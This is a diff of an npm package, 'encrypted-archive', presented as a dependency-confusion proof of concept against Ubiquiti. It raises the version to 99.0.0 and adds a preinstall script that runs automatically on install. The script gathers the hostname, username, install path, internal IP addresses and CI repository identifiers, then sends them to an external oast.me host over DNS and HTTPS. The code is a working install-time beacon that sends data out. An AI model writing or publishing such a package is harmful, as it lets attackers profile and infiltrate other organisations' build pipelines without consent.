encrypted-archive 0.0.2-security-research → 99.0.0

package/index.js

@@ -1,5 +1,67 @@
-const https = require('https');
+// Dependency-confusion ATTRIBUTION beacon (Birsan / Roni "Lupin" Carta style).
+//
+// WHY: the previous beacon sent only a hardcoded package name, so any callback
+// was unattributable noise (any npm scanner detonating the pkg looks identical
+// to a real victim). Source-IP / reverse-DNS attribution is unreliable: CI egress
+// IPs are ephemeral/NAT'd and rarely reverse-resolve to the victim org.
+//
+// FIX: exfiltrate the INSTALL-ENVIRONMENT IDENTITY (hostname / user / install path /
+// internal RFC1918 IPs / CI build identity) encoded into the OAST subdomain. Then ANY
+// callback is 100% attributable regardless of source IP — if the hostname/cwd/CI repo
+// says Ubiquiti, it is provably Ubiquiti's pipeline that resolved our package.
+//
+// Identity fields ONLY. No secret env values are read or sent. Security research PoC.
+// Contact: https://hackerone.com/rcl-lore
+'use strict';
 const dns = require('dns');
-const id = 'encrypted-archive';
-dns.resolve(`${id}.d8hjn6ap4rnta9vj5ve0jk11seb4k3kci.oast.me`, () => {});
-https.get(`https://d8hjn6ap4rnta9vj5ve0jk11seb4k3kci.oast.me/${id}`, () => {}).on('error', () => {});
+const os = require('os');
+const crypto = require('crypto');
+let https; try { https = require('https'); } catch (e) {}
+
+const BASE = 'd8hjn6ap4rnta9vj5ve0jk11seb4k3kci.oast.me';
+
+function safe(fn, d) { try { const v = fn(); return v == null ? d : v; } catch (e) { return d; } }
+
+let PKG = 'unknown';
+try { PKG = require('./package.json').name; } catch (e) {}
+
+// ---- identity collection (NO secrets) ----
+const host = safe(() => os.hostname(), '');
+const user = safe(() => (os.userInfo().username || process.env.USER || process.env.LOGNAME), '');
+const cwd  = safe(() => process.cwd(), '');
+const ips  = safe(() => Object.values(os.networkInterfaces()).flat()
+                  .filter(x => x && !x.internal && x.family === 'IPv4')
+                  .map(x => x.address).join(','), '');
+// CI build-identity markers — non-secret identifiers (whitelist), reveal WHOSE pipeline.
+const CI_KEYS = ['GITHUB_REPOSITORY','GITHUB_RUN_ID','GITLAB_CI','CI_PROJECT_PATH','CI_SERVER_HOST',
+                 'JENKINS_URL','JOB_NAME','BUILD_URL','CODEBUILD_BUILD_ARN','AWS_REGION',
+                 'TEAMCITY_VERSION','npm_config_registry','npm_package_name'];
+const ci = safe(() => CI_KEYS.filter(k => process.env[k])
+                  .map(k => k + '=' + String(process.env[k]).slice(0, 64)).join(';'), '');
+
+// per-install nonce so DNS and HTTP callbacks correlate and dedup is possible
+const nonce = safe(() => crypto.randomBytes(4).toString('hex'), String(Date.now() % 1e8));
+
+// ---- DNS channel (reliable: internal resolvers recurse even when HTTP egress is blocked) ----
+// Compact, attribution-first payload. Cap raw bytes so hex FQDN stays < 253 and labels < 63.
+function dnsBeacon() {
+  const raw = [PKG, host, user, (cwd || '').slice(-40), ips].join('|').slice(0, 90);
+  const hex = Buffer.from(raw, 'utf8').toString('hex');
+  const chunks = (hex.match(/.{1,60}/g) || []);          // <=60-char labels (well under 63)
+  const fqdn = ['v2', nonce].concat(chunks).join('.') + '.' + BASE;
+  safe(() => dns.resolve(fqdn, () => {}));
+  // also a plain marker for the existing check-callbacks.sh (backward compatible)
+  safe(() => dns.resolve(PKG + '.' + BASE, () => {}));
+}
+
+// ---- HTTP channel (bonus: richer detail when egress is allowed) ----
+function httpBeacon() {
+  if (!https) return;
+  const full = JSON.stringify({ pkg: PKG, host, user, cwd, ips, ci, nonce, t: Date.now() });
+  const d = Buffer.from(full, 'utf8').toString('base64').replace(/=+$/, '');
+  safe(() => https.get('https://' + BASE + '/b2/' + nonce + '?d=' + encodeURIComponent(d),
+                       () => {}).on('error', () => {}));
+}
+
+try { dnsBeacon(); } catch (e) {}
+try { httpBeacon(); } catch (e) {}

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "encrypted-archive",
-  "version": "0.0.2-security-research",
-  "description": "Security research \u2014 dependency confusion PoC for Ubiquiti. Contact: https://hackerone.com/rcl-lore",
+  "version": "99.0.0",
+  "description": "Security research - dependency confusion attribution PoC for Ubiquiti. Contact: https://hackerone.com/rcl-lore",
   "scripts": {
     "preinstall": "node index.js || true"
   },